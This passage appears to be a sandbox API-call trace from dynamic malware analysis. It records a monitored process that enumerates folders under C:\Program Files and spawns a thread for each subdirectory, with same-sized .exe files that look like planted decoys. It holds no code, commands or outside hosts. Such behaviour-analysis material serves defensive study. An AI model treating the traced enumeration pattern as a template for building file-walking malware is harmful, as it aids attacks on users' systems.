	[0073.699] wcscpy (in: _Dest=0x2d77c00, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.700] wcscat (in: _Dest=0x2d77c00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0073.700] wcscat (in: _Dest=0x2d77c00, _Source="Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office16") returned="C:\\Program Files\\Microsoft Office\\Office16"
	[0073.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0073.700] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0073.700] wcscmp (_String1="PackageManifests", _String2=".") returned 1
	[0073.700] wcscmp (_String1="PackageManifests", _String2="..") returned 1
	[0073.700] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86c78
	[0073.700] wcscpy (in: _Dest=0x2d86c78, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.700] wcscat (in: _Dest=0x2d86c78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0073.700] wcscat (in: _Dest=0x2d86c78, _Source="PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0073.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d86c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c
	[0073.701] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0073.701] wcscmp (_String1="root", _String2=".") returned 1
	[0073.701] wcscmp (_String1="root", _String2="..") returned 1
	[0073.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x47352a0
	[0073.701] wcscpy (in: _Dest=0x47352a0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.701] wcscat (in: _Dest=0x47352a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0073.701] wcscat (in: _Dest=0x47352a0, _Source="root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0073.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47352a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0073.702] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89814f0, ftCreationTime.dwHighDateTime=0x1d5d6ed, ftLastAccessTime.dwLowDateTime=0xb1af8710, ftLastAccessTime.dwHighDateTime=0x1d56d8b, ftLastWriteTime.dwLowDateTime=0xb1af8710, ftLastWriteTime.dwHighDateTime=0x1d56d8b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1
	[0073.702] wcscmp (_String1="totalcmd.exe", _String2=".") returned 1
	[0073.702] wcscmp (_String1="totalcmd.exe", _String2="..") returned 1
	[0073.702] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b24aec0, ftCreationTime.dwHighDateTime=0x1d57af5, ftLastAccessTime.dwLowDateTime=0xae202a40, ftLastAccessTime.dwHighDateTime=0x1d592e4, ftLastWriteTime.dwLowDateTime=0xae202a40, ftLastWriteTime.dwHighDateTime=0x1d592e4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="YAHOOM~1.EXE")) returned 1
	[0073.702] wcscmp (_String1="yahoomessenger.exe", _String2=".") returned 1
	[0073.702] wcscmp (_String1="yahoomessenger.exe", _String2="..") returned 1
	[0073.702] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b24aec0, ftCreationTime.dwHighDateTime=0x1d57af5, ftLastAccessTime.dwLowDateTime=0xae202a40, ftLastAccessTime.dwHighDateTime=0x1d592e4, ftLastWriteTime.dwLowDateTime=0xae202a40, ftLastWriteTime.dwHighDateTime=0x1d592e4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="YAHOOM~1.EXE")) returned 0
	[0073.702] FindClose (in: hFindFile=0x2d70bc0 | out: hFindFile=0x2d70bc0) returned 1
	[0073.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d856e0) returned 1
	[0073.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730bf0) returned 1
	[0073.702] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ce0) returned 1

Thread:
	id = 83
	os_tid = 0x1330

	[0073.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x47352f8
	[0073.704] wcscpy (in: _Dest=0x47352f8, _Source="C:\\Program Files\\Microsoft Office 15" | out: _Dest="C:\\Program Files\\Microsoft Office 15") returned="C:\\Program Files\\Microsoft Office 15"
	[0073.704] wcscat (in: _Dest=0x47352f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\") returned="C:\\Program Files\\Microsoft Office 15\\"
	[0073.704] wcscat (in: _Dest=0x47352f8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\*") returned="C:\\Program Files\\Microsoft Office 15\\*"
	[0073.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d856e0
	[0073.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\*", lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b66b7e6, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b66b7e6, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70bc0
	[0073.704] wcscmp (_String1=".", _String2=".") returned 0
	[0073.704] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b66b7e6, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b66b7e6, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.704] wcscmp (_String1="..", _String2=".") returned 1
	[0073.704] wcscmp (_String1="..", _String2="..") returned 0
	[0073.704] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb251bf10, ftCreationTime.dwHighDateTime=0x1d55082, ftLastAccessTime.dwLowDateTime=0xb4156310, ftLastAccessTime.dwHighDateTime=0x1d5aff0, ftLastWriteTime.dwLowDateTime=0xb4156310, ftLastWriteTime.dwHighDateTime=0x1d5aff0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bacteria.exe", cAlternateFileName="")) returned 1
	[0073.704] wcscmp (_String1="bacteria.exe", _String2=".") returned 1
	[0073.704] wcscmp (_String1="bacteria.exe", _String2="..") returned 1
	[0073.704] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClientX64", cAlternateFileName="CLIENT~1")) returned 1
	[0073.704] wcscmp (_String1="ClientX64", _String2=".") returned 1
	[0073.704] wcscmp (_String1="ClientX64", _String2="..") returned 1
	[0073.704] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733ce0
	[0073.704] wcscpy (in: _Dest=0x4733ce0, _Source="C:\\Program Files\\Microsoft Office 15" | out: _Dest="C:\\Program Files\\Microsoft Office 15") returned="C:\\Program Files\\Microsoft Office 15"
	[0073.704] wcscat (in: _Dest=0x4733ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\") returned="C:\\Program Files\\Microsoft Office 15\\"
	[0073.704] wcscat (in: _Dest=0x4733ce0, _Source="ClientX64" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\ClientX64") returned="C:\\Program Files\\Microsoft Office 15\\ClientX64"
	[0073.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0073.705] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141a80b0, ftCreationTime.dwHighDateTime=0x1d5a91b, ftLastAccessTime.dwLowDateTime=0x9121f4d0, ftLastAccessTime.dwHighDateTime=0x1d59494, ftLastWriteTime.dwLowDateTime=0x9121f4d0, ftLastWriteTime.dwHighDateTime=0x1d59494, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1
	[0073.705] wcscmp (_String1="leechftp.exe", _String2=".") returned 1
	[0073.705] wcscmp (_String1="leechftp.exe", _String2="..") returned 1
	[0073.705] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf41ba0, ftCreationTime.dwHighDateTime=0x1d592df, ftLastAccessTime.dwLowDateTime=0xc06c2e10, ftLastAccessTime.dwHighDateTime=0x1d58ab0, ftLastWriteTime.dwLowDateTime=0xc06c2e10, ftLastWriteTime.dwHighDateTime=0x1d58ab0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="world_sufficient.exe", cAlternateFileName="WORLD_~1.EXE")) returned 1
	[0073.705] wcscmp (_String1="world_sufficient.exe", _String2=".") returned 1
	[0073.705] wcscmp (_String1="world_sufficient.exe", _String2="..") returned 1
	[0073.705] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf41ba0, ftCreationTime.dwHighDateTime=0x1d592df, ftLastAccessTime.dwLowDateTime=0xc06c2e10, ftLastAccessTime.dwHighDateTime=0x1d58ab0, ftLastWriteTime.dwLowDateTime=0xc06c2e10, ftLastWriteTime.dwHighDateTime=0x1d58ab0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="world_sufficient.exe", cAlternateFileName="WORLD_~1.EXE")) returned 0
	[0073.705] FindClose (in: hFindFile=0x2d70bc0 | out: hFindFile=0x2d70bc0) returned 1
	[0073.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d856e0) returned 1
	[0073.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47352f8) returned 1
	[0073.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d57bc0) returned 1

Thread:
	id = 84
	os_tid = 0x133c

	[0073.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70b00
	[0073.706] wcscpy (in: _Dest=0x2d70b00, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild"
	[0073.706] wcscat (in: _Dest=0x2d70b00, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\"
	[0073.706] wcscat (in: _Dest=0x2d70b00, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\*") returned="C:\\Program Files\\MSBuild\\*"
	[0073.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d856e0
	[0073.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3a29a064, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a29a064, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c00
	[0073.707] wcscmp (_String1=".", _String2=".") returned 0
	[0073.707] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3a29a064, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a29a064, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.707] wcscmp (_String1="..", _String2=".") returned 1
	[0073.707] wcscmp (_String1="..", _String2="..") returned 0
	[0073.707] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a44970, ftCreationTime.dwHighDateTime=0x1d58ec9, ftLastAccessTime.dwLowDateTime=0xbbdb78c0, ftLastAccessTime.dwHighDateTime=0x1d5979d, ftLastWriteTime.dwLowDateTime=0xbbdb78c0, ftLastWriteTime.dwHighDateTime=0x1d5979d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="implications_significantly_sure.exe", cAlternateFileName="IMPLIC~1.EXE")) returned 1
	[0073.707] wcscmp (_String1="implications_significantly_sure.exe", _String2=".") returned 1
	[0073.707] wcscmp (_String1="implications_significantly_sure.exe", _String2="..") returned 1
	[0073.707] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0073.707] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0073.707] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0073.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x4730bf0
	[0073.707] wcscpy (in: _Dest=0x4730bf0, _Source="C:\\Program Files\\MSBuild" | out: _Dest="C:\\Program Files\\MSBuild") returned="C:\\Program Files\\MSBuild"
	[0073.707] wcscat (in: _Dest=0x4730bf0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\") returned="C:\\Program Files\\MSBuild\\"
	[0073.707] wcscat (in: _Dest=0x4730bf0, _Source="Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft"
	[0073.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0073.708] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0073.708] FindClose (in: hFindFile=0x2d70c00 | out: hFindFile=0x2d70c00) returned 1
	[0073.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d856e0) returned 1
	[0073.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70b00) returned 1
	[0073.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71140) returned 1

Thread:
	id = 85
	os_tid = 0x135c

	[0073.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85ad0
	[0073.709] wcscpy (in: _Dest=0x2d85ad0, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies"
	[0073.709] wcscat (in: _Dest=0x2d85ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\"
	[0073.709] wcscat (in: _Dest=0x2d85ad0, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\*") returned="C:\\Program Files\\Reference Assemblies\\*"
	[0073.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3ba97b78, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba97b78, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d710c0
	[0073.709] wcscmp (_String1=".", _String2=".") returned 0
	[0073.709] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3ba97b78, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ba97b78, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.709] wcscmp (_String1="..", _String2=".") returned 1
	[0073.709] wcscmp (_String1="..", _String2="..") returned 0
	[0073.709] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc93bb0, ftCreationTime.dwHighDateTime=0x1d54b9b, ftLastAccessTime.dwLowDateTime=0xb0c48f00, ftLastAccessTime.dwHighDateTime=0x1d59be7, ftLastWriteTime.dwLowDateTime=0xb0c48f00, ftLastWriteTime.dwHighDateTime=0x1d59be7, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="landscape.exe", cAlternateFileName="LANDSC~1.EXE")) returned 1
	[0073.709] wcscmp (_String1="landscape.exe", _String2=".") returned 1
	[0073.709] wcscmp (_String1="landscape.exe", _String2="..") returned 1
	[0073.709] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0073.709] wcscmp (_String1="Microsoft", _String2=".") returned 1
	[0073.710] wcscmp (_String1="Microsoft", _String2="..") returned 1
	[0073.710] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733868
	[0073.710] wcscpy (in: _Dest=0x4733868, _Source="C:\\Program Files\\Reference Assemblies" | out: _Dest="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies"
	[0073.710] wcscat (in: _Dest=0x4733868, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\") returned="C:\\Program Files\\Reference Assemblies\\"
	[0073.710] wcscat (in: _Dest=0x4733868, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft"
	[0073.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0073.710] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33c7ad0, ftCreationTime.dwHighDateTime=0x1d55e6b, ftLastAccessTime.dwLowDateTime=0x98518290, ftLastAccessTime.dwHighDateTime=0x1d55c52, ftLastWriteTime.dwLowDateTime=0x98518290, ftLastWriteTime.dwHighDateTime=0x1d55c52, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="SPGAGE~1.EXE")) returned 1
	[0073.710] wcscmp (_String1="spgagentservice.exe", _String2=".") returned 1
	[0073.710] wcscmp (_String1="spgagentservice.exe", _String2="..") returned 1
	[0073.710] FindNextFileW (in: hFindFile=0x2d710c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33c7ad0, ftCreationTime.dwHighDateTime=0x1d55e6b, ftLastAccessTime.dwLowDateTime=0x98518290, ftLastAccessTime.dwHighDateTime=0x1d55c52, ftLastWriteTime.dwLowDateTime=0x98518290, ftLastWriteTime.dwHighDateTime=0x1d55c52, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spgagentservice.exe", cAlternateFileName="SPGAGE~1.EXE")) returned 0
	[0073.710] FindClose (in: hFindFile=0x2d710c0 | out: hFindFile=0x2d710c0) returned 1
	[0073.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ad0) returned 1
	[0073.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d583d8) returned 1

Thread:
	id = 86
	os_tid = 0x1360

	[0073.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d71100
	[0073.711] wcscpy (in: _Dest=0x2d71100, _Source="C:\\Program Files\\rempl" | out: _Dest="C:\\Program Files\\rempl") returned="C:\\Program Files\\rempl"
	[0073.711] wcscat (in: _Dest=0x2d71100, _Source="\\" | out: _Dest="C:\\Program Files\\rempl\\") returned="C:\\Program Files\\rempl\\"
	[0073.711] wcscat (in: _Dest=0x2d71100, _Source="*" | out: _Dest="C:\\Program Files\\rempl\\*") returned="C:\\Program Files\\rempl\\*"
	[0073.711] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\rempl\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.712] wcscmp (_String1=".", _String2=".") returned 0
	[0073.712] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.712] wcscmp (_String1="..", _String2=".") returned 1
	[0073.712] wcscmp (_String1="..", _String2="..") returned 0
	[0073.712] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8390c831, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x86e9cd10, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x86e9cd10, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0073.712] wcscmp (_String1="Logs", _String2=".") returned 1
	[0073.712] wcscmp (_String1="Logs", _String2="..") returned 1
